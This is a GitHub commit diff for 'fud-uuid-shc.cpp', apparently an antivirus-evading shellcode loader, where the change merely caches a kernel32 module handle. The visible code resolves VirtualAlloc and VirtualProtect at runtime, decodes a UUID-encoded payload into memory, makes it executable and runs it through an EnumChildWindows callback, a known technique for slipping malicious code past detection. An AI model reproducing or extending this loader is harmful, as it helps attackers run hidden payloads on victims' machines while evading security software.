Skip to content

Commit 7147ae5

Browse files
author
winterrdog
committed
added helper HMODULE variable
1 parent b79c769 commit 7147ae5

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

fud-uuid-shc.cpp

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -115,13 +115,14 @@ int main(int argc, char* argv[])
115115

116116
int loops{sizeof(payload) / 39};
117117

118+
HMODULE k32_handle{GetModuleHandle("kernel32.dll")};
118119
BOOL rv{};
119120
char chars_array[39]{};
120121
DWORD oldprotect{0};
121122
char* temp{};
122123
printf("1 %s\n", payload);
123124

124-
pMVA = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
125+
pMVA = GetProcAddress(k32_handle, "VirtualAlloc");
125126
PVOID mem = pMVA(0, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
126127
DWORD_PTR hptr = (DWORD_PTR)mem;
127128

@@ -145,7 +146,7 @@ int main(int argc, char* argv[])
145146
hptr += 16;
146147
}
147148

148-
pMVP = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
149+
pMVP = GetProcAddress(k32_handle, "VirtualProtect");
149150
rv = pMVP(mem, 0x100000, PAGE_EXECUTE_READ, &oldprotect);
150151
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
151152
CloseHandle(mem);

0 commit comments

Comments
 (0)